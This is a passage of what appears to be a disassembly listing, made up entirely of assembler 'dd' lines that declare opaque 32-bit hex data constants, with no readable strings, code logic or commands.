0CC89E8F8h, 0F18C295Bh, 0BEC222C2h dd 0A540F17Fh, 62761F0Dh, 0B827E921h, 0B8911069h, 6669E82Bh dd 5D0182B8h, 6D02EC47h dd 0B83EEC44h, 5E4FE82Bh, 3451D9B8h, 81BEE1EDh, 228CBD30h dd 0B82706B0h, 9F013F0Ch, 0F908E921h, 0DC30DC10h, 0C0CF07CAh dd 0F2682978h, 383E8EE3h, 4FC6F3ECh, 5725F2DCh, 1DF042E0h dd 7F2CD29Eh, 67653651h, 0A1793AD4h, 4D839515h, 0D830D483h dd 9A8AED57h, 0C225C78Fh, 236DE120h, 389FAC1h, 2A893B8Dh dd 754E76F6h, 983B46F1h, 0E9D953ECh, 8282200Ah, 0D68F7BC5h dd 6FC5984Fh, 0BA9030C3h, 0CD406777h, 0EBD948ADh, 2482200Ah dd 0D99FB007h, 4566A1CBh, 78310931h, 0E8DDCB8Ah, 6FC8A303h dd 6E82206Ah, 0E869807Ah, 0F781F803h, 7824200Ah, 847205DBh dd 0F0DDA9D4h, 0C512A364h, 6ABF0BD2h, 0F46C3F0Dh, 0E4D2B359h dd 6AC00FACh, 0F46C7759h, 2C906359h, 0AD065277h, 27D00648h dd 25A17B59h, 59C9246Bh, 274769D1h, 0E7F88690h, 0F6EB9B00h dd 78404527h, 0F6C59DC4h, 10E7EF9Fh, 38FD2110h, 68DDA559h dd 6A78A90Bh, 0F78220F2h, 3244F449h, 0F78149F1h, 0C50CFA0Ah dd 201157B4h, 0DE1909F6h, 0B0576B98h, 6EDFEC97h, 0EB88A9D8h dd 0FE4A0041h, 0CFBF2F62h, 229744E3h, 90E6B8CEh, 22974BD1h dd 7 dup(22974BCEh), 98F880CEh, 0FCBF4BCEh, 685A68D1h dd 2309FF0Eh, 43267F66h, 0F7B580C5h, 0D4BC4BB4h, 685A68DFh dd 2309FF2Ah, 88AEDFBFh, 13F75649h, 51721373h, 1FC7F818h dd 0D314C153h, 44DD9C49h, 2D9E3D2h, 0B8EB6CBEh, 5F3DBF36h dd 17E106CEh, 0CF901D9Fh, 908D9D42h, 343F0F0Dh, 7A295BF5h dd 0FC35FE19h, 41750290h, 0AEA5FE07h, 619B7A47h, 0AEF85EE7h dd 96FCDA47h, 4A3EAC18h, 0CA83F578h, 0B5A9906h, 9331F589h dd 0F7AF96CBh, 0DA19C89h, 0E8A3F533h, 2298275Eh, 0AD7283F3h dd 4673284Eh, 0D82471DFh, 40064F3Ah, 0EFAA82C8h, 33EC742Bh dd 0E109769Dh, 0B93BE45Ch, 0F9C36242h, 7B56550Dh, 0D12EC165h dd 0B3A2F488h, 0EF255C9Ah, 71E861A9h, 30B6C969h, 8EA23B1Dh dd 3B4751C3h, 0DCBB2B2Bh, 65DF1F19h, 6A11859Fh, 74618867h dd 9C27D790h, 0F80E447Eh, 203D9979h, 0A95B3913h, 9772F8BBh dd 0DEBA90F2h, 0EF110378h, 0CFFC886Dh, 0E0974BB9h, 1F73FB92h dd 70AC14E3h, 14063C2Dh, 74D46F01h, 6E070323h, 0EA0F8492h dd 6EBB98DAh, 3F75CBC8h, 0BB2CE49Fh, 391D58E6h, 26EA6CDh dd 0AD33804Eh, 0F740970h, 5B6EFD5h, 4315782Ah, 2A996B75h dd 98F0E73Ch, 367D33F3h, 6CDF4757h, 47A7F5D4h, 663CDBF2h dd 8835C8CDh, 4A840F96h, 54706F23h, 57A81505h, 44E24AD0h dd 1F226661h, 0DC96067Dh, 0C423D376h, 8569E907h, 0F2CB8DB0h dd 28B9C3FEh, 0B27ADDCAh, 813F0B87h, 0CC662760h, 661527ACh dd 974EB979h, 0E162F163h, 463184A2h, 5AA9DD85h, 6790A707h dd 7E44CB55h, 0A3AAB9E5h, 1D496B5Fh, 0D069CB55h, 716D93FCh dd 6B6EBDA0h, 29043816h, 357D3A94h, 0A4564524h, 7C75D934h dd 34195013h, 536B08A7h, 8563E19Dh, 5E247BB0h, 2D180BCFh dd 5BCD6D4Dh, 794E6B84h, 0CEC88353h, 0BCD9B5F2h, 6F495E84h dd 0D6CD696Dh, 2B3DC571h, 2AE5C9E7h, 52C39941h, 0BB4ECAA0h dd 0EF8D3C18h, 5DAA6129h, 18E7E3C7h, 0DE63C990h, 9459E6CCh dd 574075A3h, 45AC77AFh, 8E74D607h, 0E7D601Ch, 0ED387330h dd 2A8A584h, 9E09AD8Dh, 7A8BCAEAh, 8569D83Eh, 630C1AB0h dd 913A0C40h, 83316EF4h, 0FD543EE1h, 5B204471h, 5E256B84h dd 976486E1h, 777E9046h, 0C74FE6F0h, 0C19C9BD8h, 0AF6F4849h dd 0C9D492F7h, 657D61E9h, 493DEFE2h, 0B807EDBCh, 0E4C7968Fh dd 0EB7D61E6h, 9615272Dh, 4E75D36Ah, 0A05B02A3h, 0E268CA6Fh dd 832E5013h, 2AF21B0h, 0F3D9664Fh, 0BF0A95A1h, 0CE26CFCAh dd 4DA0A2CFh, 0CF03E25Ch, 0E059755Fh, 261B7h, 114453E2h dd 0C8EED32Ah, 0F16F26B3h, 0C68391C7h, 7BC69936h, 0F1F5E627h dd 3EFDE6E1h, 0B5BD7560h, 783B8CFCh, 7075A3C1h, 46C718CAh dd 436CDE7Ah, 0B898D2AEh, 7EA8FEA1h, 7C4D1A74h, 7E84880Bh dd 10F9E23Fh, 0BF0E52D4h, 916BA4Ah, 0CB4984A7h, 44AB9CFAh dd 0ABEAA536h, 24AB9D3Fh, 67687156h, 0E9DB98C5h, 57E99D1h dd 47581318h, 0E8AAA18Fh, 0DBB47118h, 98A70072h, 0EE5B1495h dd 0C643761Fh, 9B43F625h, 0A6331DBh, 53F4F8B2h, 0D2B57C4Ah dd 548C946Eh, 7DC4298Ah, 7087374Bh, 0EB6921CEh, 279D88ACh dd 0FB35C27Eh, 0D57E1497h, 3CB82708h, 0D65F5B4Bh, 9BC7FCE9h dd 0D90A3022h, 278EC34Fh, 0AF7BDCC7h, 1B6B08Eh, 26EA5D6h dd 4694E956h, 301D58ECh, 0B4E9613Dh, 487B0CE1h, 161B5556h dd 35209851h, 0AC76A0C3h, 0CEAE17C2h, 20B356CFh, 3BBCE52Fh dd 1FD89DF4h, 2FC36658h, 8D472618h, 88F83009h, 0DBBC7722h dd 8D123688h, 0FF106B74h, 8F044593h, 3FA7828Fh, 199369FBh dd 0ED643925h, 0ED3B12FCh, 0D9D35FA8h, 39DC9860h, 11C1277Ch dd 9F0B022Bh, 2A5B482h, 922C1E08h, 0C5EB8099h, 0B480DD25h dd 88341591h, 834B03F9h, 9DCB21B0h, 813F739Ch, 0DD54252h dd 2A8C4C2h, 0F44BC442h, 58D25EE7h, 325C5A85h, 41355825h dd 91A943EEh, 3EB1FB85h, 0EB23766Dh, 0C1302D88h, 0C8F65638h dd 0DE591D74h, 51422A13h, 378A505Ah, 4AD35B1h, 6645ACA1h dd 1C082FFh, 0F0098B2Ch, 6BAC0674h, 0B9995CD7h, 26AFBC41h dd 0D99538AEh, 26AA9C21h, 0AFF518AEh, 0F58AE23Ch, 0D19F60E2h dd 0D259929Bh, 4F8FBEC1h, 22BC7FBBh, 267D3816h, 3AF26461h dd 0A2DAF774h, 7E898BDFh, 0E3F42E09h, 85675F20h, 0B3BC21B0h dd 3D1411Eh, 8D9D70AAh, 0C73ECDF4h, 1281B8A1h, 3B13237Bh dd 9806E3D8h, 8BF932FDh, 8C2E8A11h, 0F225830Ah, 0EA9D569Dh dd 0F5154EA5h, 0CDD11FCDh, 0D1277C18h, 0D3CC791Bh, 0D4AE0373h dd 862D331Ah, 0E3E621B0h, 85692195h, 49CD1227h, 4DCDFA26h dd 8569F88Eh, 4DCEEA25h, 85690549h, 33CDFA25h, 84A84034h dd 8CF565F3h, 0C1DCFD17h, 6A3F3D4Dh, 0D9E6D833h, 8387EB93h dd 6FC08005h, 0FAC821D3h, 9E589E7Ah, 3F1A7E8Eh, 4CDF9FCh dd 77B3FB55h, 0EABA6FDFh, 4CD49FBh, 0A264FB55h, 2EE605F4h dd 85692195h, 54CEE9FBh, 31E65D26h, 85692195h, 862D3D4Dh dd 87AC21B0h, 0D70E01F4h, 0DD692451h, 0DBA09523h, 0F40649ECh dd 0E6643AA3h, 5F555F97h, 868CB991h, 55CE9A56h, 0F10B12A7h dd 0A72E99A0h, 5C2E8FD0h, 98391799h, 89375D6Eh, 93E0FE4Fh dd 7E32D840h, 0FB3F5F01h, 65F2DFB3h, 0BAB3D19Ah, 6398C331h dd 6C5A7611h, 85694DC9h, 0CAEF0BB0h, 9EF974Bh, 0E62C5ECBh dd 770AB2D2h, 66BB263Ah, 84FD7DC0h, 0FA1121B0h, 0E56921B0h dd 0B649B0F2h, 6A4231BDh, 2C734C2Eh, 7E37EFCEh, 95B6054Bh dd 6FBE346Fh, 82D48D64h, 31B0D3B0h, 0EE118C14h, 146921B0h dd 4B1E7A90h, 95C3D2A0h, 8569F7FAh, 83AEF0B0h, 7D6921B0h dd 5F9E1FCh, 0FDE247D1h, 536C7735h, 2D1141Ch, 0FA31E568h dd 6E6C76FCh, 6D1F682Fh, 82266F68h, 2BB0FFF3h, 0E853544Eh dd 0E0EFEAD0h, 10A64DD1h, 0E85F3C4Eh, 2C90EAD0h, 9CE6887Ah dd 85656E9Ch, 85087ABFh, 4F421B0h, 856921A3h, 99DD804Dh dd 0A5F7A340h, 186921B0h, 0A67A717Ah, 0F31AF6DAh, 94A743ACh dd 0B0E34FBh, 1D692195h, 397A9E02h, 0B69A5255h, 63A5C28Fh dd 0F8376525h, 2BBCBB7Ah, 577D10D9h, 0E9073625h, 0A1ABA2A9h dd 0E3B248DFh, 1111ECA3h, 0F16FC252h, 0F23FCD7Bh, 0E3B20F7Bh dd 114806A3h, 0C26487D7h, 0E673CAB2h dd 59494CA3h, 0EA8FAB5Dh, 5BBDCBA9h, 0CE51439Dh, 0E3ABA456h dd 2E484A61h, 0E3B24CA7h, 0A8BAA703h, 0CF9F7940h, 0CF96092Ch dd 0E3B24CFAh, 9BB9CFEDh, 0FED80ECEh, 93AEB03h, 9A2064DAh dd 9AB4C63Ah, 0E3B2442Dh, 52674CA3h, 0CE513B75h, 82F336B1h dd 0E2DC440Eh, 0E676253Ch, 50524CA3h, 9967D267h, 90FF49DBh dd 0E34C49DBh, 9F3F4CA3h, 5F8E0D66h, 63AC7DCAh, 64B2F33Fh dd 0CE514019h, 503EC04Ch, 7EAC1E11h, 48F91BABh, 3EF7EB51h dd 7E08B9D8h, 0E78941ACh, 1D463A27h, 0C140E35h, 641E40Bh dd 0DE67B66Dh, 26CF8618h, 7FDADBDEh, 2B185D69h, 0A33DB2BFh dd 41C667Ah, 0AADB12ABh, 0A70A5E90h, 0CE1A4DE5h, 2990B535h dd 347D628Dh, 456B533Eh, 0F484090Eh, 1CD04166h, 0E1A43BCDh dd 0CBDF3D4Ch, 0A3413D27h, 748FFB93h, 0F6AA09AEh, 0F6AAF9A5h dd 0A3413D3Ch, 0FD8F03F1h, 29626C9Eh, 0F0CB7CD5h, 83F98EADh dd 0A357344Bh, 0A3439503h, 72A13D33h, 9FC90574h, 9FC4365Ah dd 9915365Ah, 0B3013D33h, 1E647473h, 0C9B280h, 644E4047h dd 0AE453AAAh, 0A4C9742Fh, 0B74E4031h, 7D413D16h, 0F2EE0D2Fh dd 43413D2Eh, 60DA7807h, 1C4559BBh, 0B44559BBh, 63413D2Eh dd 0E70A77FFh, 6A150A1Ah, 80E8DE7Ch, 5F8E344Bh, 0E1A2453Ah dd 0A3413D2Eh, 0CCCB9894h, 0E1A23D00h, 0E1D4E667h, 0A357344Bh dd 0A34395EDh, 60A13D33h, 0FC91774h, 9FC4365Bh, 9918365Ah dd 72033D33h, 8B776F74h, 0ADA486C1h, 0A34D922Fh, 0FFD03D33h dd 27C185A0h, 997EFE13h, 0AE522ACAh, 0A34B922Fh, 0A05D3D33h dd 0B0C5E855h, 0FF148177h, 9A410AFEh, 0AB20B2CAh, 0FD81B02Fh dd 9DCD075Fh, 600CC240h, 0E3349728h, 50DF58FFh, 41EC2EF6h dd 4A1B6F0Eh, 0D8FE14F1h, 3474182Bh, 0CEF15444h, 3E402557h dd 1D53F316h, 15805AD6h, 0A7B06287h, 0A1979331h, 8E2FCF45h dd 9BA423F3h, 0C29D43C6h, 7D293B43h, 8CBF7AAFh, 15AF539Dh dd 537F6287h, 59E14E8Bh, 0FFB4D846h, 28B6E05Ch, 0BEAC6296h dd 0D95247B9h, 0C000A586h, 2D2A6289h, 5124FBF6h, 47F0F2Ah dd 574959FEh, 5926FF36h, 47F182Eh, 0B422A1FEh, 890C2052h dd 0C0738701h, 1C2ABB86h, 0F2B4C079h, 0FB926945h, 0B07F736Ch dd 0C08883B9h, 908EDB86h, 67514580h, 15AC628Ah, 98B76B43h dd 9DB6DB8Fh, 0E4514580h, 0CC82A553h, 15807780h, 122C6287h dd 164A5A03h, 0FE166287h, 1C41F73Fh, 93E87973h, 0B219A77Ah dd 0BF332365h, 8E89DB0Ah, 67514B53h, 155365F3h, 0C215DA56h dd 18CA9420h, 27AE6D4Ch, 0F83187FBh, 8A8CDF20h, 18452C96h dd 65EFFD2Eh, 96D16AE8h, 42E36B4h, 446AAD26h, 57307B3Bh dd 0F83178F8h, 0C516A020h, 176DA9Bh, 0F8304F43h, 92145414h dd 2FA4778Dh, 0C0F4A7A2h, 0EC37F5B4h, 0F730828Eh, 0F9F9D569h dd 990E7720h, 7B7107C7h, 84A2AE94h, 428DBB1Fh, 8CF5E904h dd 34D9FC82h, 1EB9F4BBh, 0F8317793h, 398D6A1Fh, 0C3D40Ch dd 0C26C793h, 0CF359CD3h, 0E2130804h, 7A8B6F75h, 0A7E4CE4Eh dd 0E7E7EB81h, 79307B39h, 18571E4Eh, 40BA4387h, 0C1E75E4Ah dd 0E9FE28DBh, 29AC6F75h, 0DF7A7C90h, 8730835Ah, 0F90AFD14h dd 0C7317720h, 0F831930Ch, 0F831D420h, 0F167720h, 0D3A3E032h dd 0A7BB6522h, 0F21ABA13h, 0F139926Ah, 900304FDh, 6F317720h dd 0CD4B37C2h, 7A675D60h, 0F8317783h, 0DFD3F16Fh, 9A46F75h dd 0F9BAD5C0h, 32C27721h, 0A9E8A35h, 930FDAA4h, 0DD0A581Ah dd 813E52DCh, 0D49F4B66h, 2D4F4EE4h, 0B8CD1C4Eh, 0E2EC9B66h dd 0FCFEE7E4h, 3AF3F404h, 6E5419EFh, 0D7E24E22h, 0CE8B76BBh dd 3AF3FBBBh, 6ADDAFEFh, 0BA8C6B8h, 0B90BFEB6h, 3A96F3FEh dd 3AFECB23h, 23DDF98Dh, 3AF3F9B9h, 8F09D34Fh, 37F2E26Fh dd 37EBB26Eh, 3AF3F9EBh, 0BD0ABB31h, 0C106BA4h, 3AF3F0E2h dd 3BA1F9EFh, 3BC9512Ch, 0A693F9EFh, 984BDDA5h, 0F778F518h dd 3422F518h, 0FD8EF9EFh, 5C8818A5h, 0DA74EDDh, 30CD1C3Fh dd 0E2E3E73Ah, 13DF8E4h, 0F5CD1CBBh, 2DFFC4ECh, 0DAF3F9EFh dd 0BC913420h, 0B0D2151Fh, 0E4D214F7h, 0EDF3F9EFh, 0CBED3429h dd 196D4E8Fh, 501F3945h, 16A47BEDh, 3BA1F0E2h, 3BC95121h dd 9193F9EFh, 904BD8A5h, 0F778F517h, 3420F518h, 0C98DF9EFh dd 35CE34A5h, 1C433555h, 3AF3F9E5h, 706A03B7h, 0FECFB12Fh dd 3AF3F070h, 0DA88CEFh, 0A2CD1CEAh, 0AFFAF65Ah, 3A96043Ah dd 10213674h, 299046D7h, 6FEC39E8h, 4E95D894h, 0C6C9BB7Fh dd 547A467Dh, 0A985933Dh, 9B3A1EFDh, 91F9B0Eh, 25C51C80h dd 0B36E34A6h, 0DBBC850Fh, 5BDC37DEh, 0B972944Eh, 0CD740EB5h dd 47A7617Fh, 3FD17AB8h, 56167F36h, 933377D9h, 8BD70FC5h dd 43A073E4h, 483A73E5h, 5BD677D9h, 0CF59AFC6h, 10E47DA4h dd 0F969CEF5h, 52F7497Ch, 641F0912h, 561377B1h, 1F4D7D9h dd 23CE63FCh, 18D8FC05h, 561AE305h, 1FDBDD9h, 9D0C17DFh dd 3F3EC19Fh, 3FE4E23Fh, 871377D9h, 48697EF7h, 482C77D9h dd 0ED12C44Ah, 0C2418DFCh, 0B8A1042h, 1ADA753Bh, 0C07AFBFBh dd 0FCA9161Fh, 3F3E7EA3h, 561A0BCDh, 0CD237727h, 56137711h dd 87550FB9h, 7CA7B38Fh, 7CA7B858h, 0EB23000Bh, 0CC658B4Bh dd 3E64A331h, 8DBEA622h, 4F3AEBACh, 0EC4D68BBh, 0EB23FB0Bh dd 0C927B4DEh, 9E62FFDCh, 0EC4E3D12h, 73B3FB19h, 0EB23FB01h dd 0A465A3EBh, 0CF373F7Eh, 0CF373F86h, 0EB2300DCh, 31658B4Bh dd 123BE27Eh, 0F04BF525h, 0BC069138h, 0C863E4A6h, 0AEE687B2h dd 5063E49Fh, 4BE687ACh, 46B8F75Fh, 30ACD3C4h, 851B05D6h dd 5172DCC3h, 57A860EFh, 0B139BE14h, 0CA4B9837h, 63F1BAA3h dd 0E4B7D6DEh, 54C01A1Ch, 0A9F1BD82h, 0B5B83098h, 87FAB61Dh dd 5A3C3B7Bh, 0CC33683h, 538B1530h, 0DAF89582h, 70C43844h dd 55C39EC2h, 504837D1h, 55C33799h, 0B8FBECE3h, 6C9F8A38h dd 6C9EF203h, 55C337A6h, 84FBE4C2h, 145294E9h, 36158DFDh dd 91F1BEDEh, 0B0B82FB2h, 55167934h, 55C33682h, 4AC3A083h dd 55C3375Ah, 0AE81D683h, 0C96BEDCh, 0C7EB5B7h, 55C329B7h dd 0AB49F183h, 82F1E45Fh, 8EEB1D17h, 0DAAE87F8h, 70C42C74h dd 0FCDA4145h, 588934A1h, 55BC1FF2h, 0B7A33683h, 0B445EB3Eh dd 2C2E3397h, 55B93397h, 22783683h, 0DD31435Ah, 699EFF0Ah dd 0E60A0B4Ah, 4EB82FB6h, 55C336B8h, 4F18FF9h, 9B4C826h dd 5888EE4Fh, 8646A14Ah, 98F434A6h, 0FA280256h, 0E6757FBBh dd 6504DD2Eh, 0E2115A45h, 0C7699CCBh, 0B56CFC6h, 0D9E9F53Ch dd 7B6FFA1Bh, 21D5AA96h, 83F7E8D3h, 0FFAC0D38h, 23688250h dd 0DDC39E45h, 29911773h, 0AA70734Eh, 42DCE99Ch, 0A40E10C4h dd 8AD19F55h, 79EAE25Bh, 7181FBCDh, 2C61E9DCh, 3A568C3Ah dd 86025947h, 4FE8549Dh, 96BE0977h, 658E870Dh, 0EA52D2CBh dd 991B331Ch, 3D49B5F7h, 545C8FABh, 0BFAC7FC5h, 0F3F98EEBh dd 0AC14BE27h, 1DAFB1F5h, 67A31BB7h, 0C9AFFDEFh, 0A3EE3468h dd 0F3369433h, 0ABE7965Fh, 0B331BDFEh, 6ADE4945h, 0D177AED4h dd 0F6E411F4h, 7A75FFB6h, 4735BDFEh, 0B2C5B716h, 0ABBB9156h dd 0EAE564FEh, 84A385C7h, 0AC868FB5h, 0AC14C0ACh, 5719B4FEh dd 0FD2690B7h, 234F1AA6h, 2504F03Ah, 37544DF5h, 0ABAA961Ah dd 5DA9BDFEh, 0C3D03420h, 8BCE3EE9h, 34B30360h, 0C6AA72B7h dd 2CBB3631h, 0C6C55FE3h, 1FCB3E31h, 91C609E5h, 23704E7Fh dd 0A6EE2EF8h, 5719B525h dd 9B10947Dh, 2B11D9BBh, 372C4E01h, 0F5A9A80Fh, 204EFE8Ch dd 19C8B21Fh, 0A96A7FBAh, 5281C554h, 0E23772EDh, 4855D05Ch dd 0BB2FD79Ch, 2E296417h, 54C9E387h, 204C1BD5h, 6AF8502Ch dd 9372B79Dh, 0C96B15ECh, 661FEA82h, 0C901D01Eh, 1593D4D5h dd 0F10A8047h, 93D11049h, 1F38A6DFh, 0D0E16792h, 932FD784h dd 44E4ADF7h, 641FEBA2h, 0EBA38F28h, 9514E040h, 0ABEFABE6h dd 9D4D1E8Dh, 204888CCh, 2994FEA2h, 3B7F7D30h, 0C2314C77h dd 2D255D34h, 0CE12006h, 205167DEh, 0A12FD6B0h, 374800ECh dd 204EFE6Ah, 147EB00Ah, 2058899Eh, 8B4AFEA2h, 6A107E7Dh dd 829358FEh, 4F647A7Ch, 0EE938077h, 5EE18847h, 2FBDFA23h dd 824EE141h, 36BF9B18h, 8741776Ch, 3BBFA09Eh, 74E92D67h dd 1A15E416h, 0BA2E140Dh, 390659BDh, 0AFF710CEh, 12F710D2h dd 0DA2E1412h, 0CC665986h, 2ECEB5Ch, 1A2E1400h, 0E285BFE8h dd 23BD57F1h, 0DEAFBEBFh, 0B0490300h, 490CED9Ch, 1AF497FFh dd 0A3D9140Dh, 2DF57553h, 30E79348h, 0EA6A1134h, 3EE71415h dd 0D9E023F7h, 857F934Dh, 1A2E11FDh, 0CC24140Dh, 1AAF834Ch dd 1B081134h, 1A64BCBEh, 464E140Dh, 7AAAEB4Bh, 0F2C33072h dd 1A3D3072h, 0D4FB140Dh, 0AE1BE741h, 696A2E9Ah, 0AD91344Eh dd 1A2E140Fh, 244523FAh, 77E5A0D6h, 2133A355h, 38EC1134h dd 9772AF72h, 0A0074916h, 0A1E92D38h, 7CE1BD56h, 0C499585Ah dd 436BFCD8h, 53468EE0h, 0E1070B63h, 8DCA3FD4h, 7A82BBE0h dd 765B2D1Eh, 47B91E96h, 3237CC88h, 6A8F6B9Bh, 627DDE0Eh dd 0DFA6D6DAh, 8E10C5CFh, 0D95791F5h, 4DFD5C9Dh, 0A65D2A7Bh dd 82D149A3h, 0E03117D2h, 0FE133D30h, 419EDA3Eh, 4D56A0DCh dd 88721ED8h, 4EAD12E9h, 0DE16E0DEh, 0A7DA9751h, 2F4E5105h dd 45FC3917h, 0F868E023h, 40DC8FE5h, 0D6B601Bh, 49E04B0Ch dd 83AB9D33h, 0FFADC665h, 1E4D20B2h, 83C336CAh, 0D9CD9365h dd 69E5ED8Bh, 0C5365325h, 83A96D86h, 0A35E085Ah, 83AB9365h dd 83BF2E5Ah, 53719365h, 24B8D7A5h, 83AB94BAh, 2F850906h dd 18D3BCEFh, 4765083Ah, 0DCB80351h, 0C2DB511Fh, 27A28581h dd 0DCBBF462h, 270F9137h, 0E35BE9Dh, 8A35DEEBh, 0ED97DB52h dd 0CFA4A1F2h, 0AB7B66C7h, 0CFF3D71Eh, 0FA5FBD56h, 83AE1F55h dd 0B98B9365h, 83AAAF22h, 5F6F1665h, 0BCBBF470h, 431CC9DFh dd 3885FD0Bh, 2708F6C0h, 0F9296659h, 0DB262536h, 24731AD0h dd 113699A5h, 86677D55h, 894C1A5Ah, 7C2DB00Ah, 0D2AFF1B0h dd 1AE6B7C6h, 0F5F8332Ah, 0F09D3326h, 0A70A8C50h, 8ED2A4F1h dd 0B6249378h, 6B904149h, 1AE2642Ch, 1C8DAAE8h, 1AE74442h dd 1AD8DF2Ah, 520D442Ah, 92C2405Fh, 0DC8C105Eh, 0BA7543D5h dd 0AEA88F55h, 16A64068h, 295D33C7h, 6C062DC7h, 937D3A80h dd 0D82DEE40h, 0A8F97EE7h, 0BB64C75Fh, 810388Ah, 0AEB653C0h dd 169B1734h, 7E260C5h, 1447C51Ch, 0E1683201h, 1627DBDFh dd 0C3EE442Ah, 0B62644AEh, 6E9026F2h, 6E4EC902h, 199AC329h dd 0DEA8442Ah, 16A5B861h, 1AE41ABFh, 213BD72Ah, 0FBC9F840h dd 0FBBA24ABh, 4FA86D22h, 162ADB7Eh, 2CFC442Ah, 5A4651EDh dd 0F0D69814h, 6E71DF3Ah, 50CBE979h, 4936EC35h, 2E2F1D89h dd 3D065F29h, 0D648AD7Dh, 0CEE824E5h, 17EF7E9Bh, 0BB74527Dh dd 0B9B4F4EDh, 992F2205h, 31291076h, 2D100EFFh, 0C72F1DFFh dd 1AEEEABFh, 2E2F1C28h, 0BF3DF3FFh, 0A0D3ED1Bh, 0B763EAEDh dd 7DB4F2B1h, 992F2247h, 0A710966Ah, 0D5040F8Eh, 530557F1h dd 0B0D1DA03h, 0B763ECB1h, 0B40727F8h, 0B8B21460h, 112F1DFFh dd 75814AD8h, 0AC40510Eh, 2E2F1D77h, 2E2A2F44h, 0BFFF20FFh dd 9CB4A29Bh, 4A9FD3F1h, 9F5E4297h, 73184932h, 151CA924h dd 2C1B5402h, 0B6021DFFh, 2E37511Ah, 0CE5FD1F5h, 4AAA39D6h dd 62194FD1h, 0FD8CB124h, 0F1A6163Dh, 62194FF3h, 15CCF2E5h dd 0A32F2270h, 13F1D8A9h, 7AAA7C02h, 0BF47A3BCh, 0EA2998AEh dd 0EDC79E1Eh, 6D5C8240h, 0A95ED523h, 0DA89DADFh, 8638B196h dd 0C234048Ch, 7DFAD393h, 0CCFAD2BFh, 62A0150Ch, 0CC05AB46h dd 0CCFAD30Fh, 6ED59093h, 0CCFCF898h, 27BC6E20h, 3FBCD393h dd 863997F9h, 943B0A32h, 59701BDFh, 46FEAB75h, 9BED53BAh dd 9FCF775h, 282D7818h, 9DDC548Ch, 0C17B6CDFh, 0FAFCF7B7h dd 0D66BCF88h, 626A6EE8h, 0B9AA7C75h, 0C26BA1D0h, 4236ABB4h dd 86F4D454h, 1536C21Dh, 0CCF80496h, 0CCB48A93h, 0CC5CD393h dd 0CCF8046Eh, 0DDB1EA93h, 893BD120h, 8AD76F1Dh, 9FAD38Ch dd 0CD3B2DC0h, 0CC0EBB88h, 15DDD393h, 0F8B619C2h, 0A36AB47h dd 89EBCC19h, 0C3DD0294h, 73E4A737h, 897BF00Ah, 0C4A56B9Ch dd 41EDEDEEh, 892B533Ch, 0F910BD43h, 0A36AB47h, 89EBCCFCh dd 7E8EC341h, 0EE5860DEh, 0CCFAD275h, 0CD05F10Ah, 8955EA93h dd 0CCFAD23Ch, 6 dup(0CCFAD393h), 7FD3D393h, 4AFAD2E7h dd 8ADF31F9h, 497D8ED7h, 345C8046h, 37D3BA9Bh, 355CED06h dd 0C0E1684Ah, 0D3541CF0h, 0F3AF39D8h, 1BE0C8D9h, 90371C5Dh dd 3AB8872Fh, 0C7D364AFh, 6D3A9BA8h, 4E882598h, 0ABA791DEh dd 0A6F0D21h, 0D1CD0407h, 6E73E5D7h, 2C51C2CCh, 9FB0F7BCh dd 3894767Ch, 0E99EBEDEh, 8E79CF9Ah, 4A0E25C8h, 0EB72F4E9h dd 0B1D9D537h, 0DA0C5BE9h, 3F8C0069h, 522A5D09h, 3D703545h dd 86AFCDECh, 31645276h, 4898BE8Eh, 0A7AF97E9h, 0C1F000DDh dd 8B8615D1h, 0AC5AE608h, 0B3FDAB23h, 0B0113EE1h, 5CF1CD7h dd 0D82C7D7Ch, 91A60069h, 69D96AF4h, 0CA29265Eh, 3995CEB6h dd 0CA09EECDh, 0CCFAD285h, 0F8CB8723h, 970F2BC0h, 0E4ECAFh dd 32392B1Eh, 115189Fh, 1176DBBFh, 21EBDBC5h, 7742228Fh dd 887FA176h, 33B155D5h, 87672525h, 0CF6D55D0h, 286917E2h dd 0A6138A7Bh, 0CCFB3C98h, 55EA1893h, 10CE3ED7h, 0C7B9876Fh dd 183589B4h, 0D6A68D66h, 78E28A1h, 5F372D98h, 43EEBE30h dd 85729173h, 8C4F6D92h, 0F84CFC44h, 0C53AA2A6h, 0C2DC0F7Eh dd 79FAD393h, 0D99D9710h, 0F1551DD5h, 0A6CA89F5h, 0D4232250h dd 637307Eh, 1B98E5C9h, 646BC4BDh, 0E560515Eh, 593BA953h dd 0A52C103Ch, 0BD99993Bh, 4C834FB4h, 97D87Fh, 0EA9DE643h dd 4E28949Bh, 0A4AD00DDh, 3DEAECB2h, 0F0F26B52h, 6BC214BFh dd 0EF6AF99Bh, 47269FDDh, 0B535393Ah, 0F9D69ACh, 0F655EEDBh dd 8BE6BF02h, 92404D16h, 791E2325h, 725DCCBAh, 86373090h dd 0E88457F6h, 0BC4868B7h, 0DD89B71Bh, 0C163DCDDh, 14EE31E0h dd 146EE7B3h, 9826733h, 65AFE989h, 23EA5CC6h, 8408C4F1h dd 61430B5Dh, 8B467B65h, 0B3D6E59Fh, 716230AEh, 7A5A835Eh dd 9C31ECB2h, 8CC13B62h, 67B2FAD1h, 98564379h, 9FDC8B7Bh dd 0F5C89C9h, 4693E35Ch, 6F989E65h, 82FAD38Ch, 241795C8h dd 8073BE2Ch, 0AC37307Eh, 0EC3492D5h, 0A6F0C23h, 7164F1A1h dd 166B94A4h, 0C3B812C5h, 9FC1AF01h, 2A0889C9h, 61BC5146h dd 0CD05AFF7h, 9C0EDD93h, 0B29BF282h, 72CBEC26h, 1CED871Ch dd 0A6F0D0Bh, 6BAECDAh, 0D717A91Ah, 545E9E76h, 8A6DE9DAh dd 0C03D9153h, 0DF604DEFh, 0B005D26Ah, 0EE613910h, 1F0D248Bh dd 4CF21F52h, 61B651D6h, 8EC13B62h, 0F2DDD247h, 8C603818h dd 7CF755B0h, 6C27CAAEh, 0D1B54384h, 0B8145132h, 59C78530h dd 0B9BAC6D5h, 0A9C38BC6h, 721A5866h, 1AB1F816h, 3D231172h dd 0F22C3087h, 0DC616A46h, 0A2688A76h dd 84F7FE80h, 0B98D42E4h, 6395FF0Fh, 24FAD38Ch, 27C13B14h dd 0CAC43108h, 0F304CA9Eh, 0FCB16D36h, 60905FA7h, 8343466Ah dd 6A90D2D4h, 0EAC99ECDh, 15B22C80h, 41CAFB4Bh, 63C84042h dd 21F266D5h, 0BF444090h, 0C9F20A1Bh, 0C70050EAh, 9010F1ADh dd 4C853942h, 0ABFBEAEFh, 56CD6A19h, 41712D19h, 4579ADE9h dd 3F88E4B5h, 9CA0E7D0h, 7CD64959h, 74A3A121h, 453CF980h dd 86CBC7F9h, 699CFCE3h, 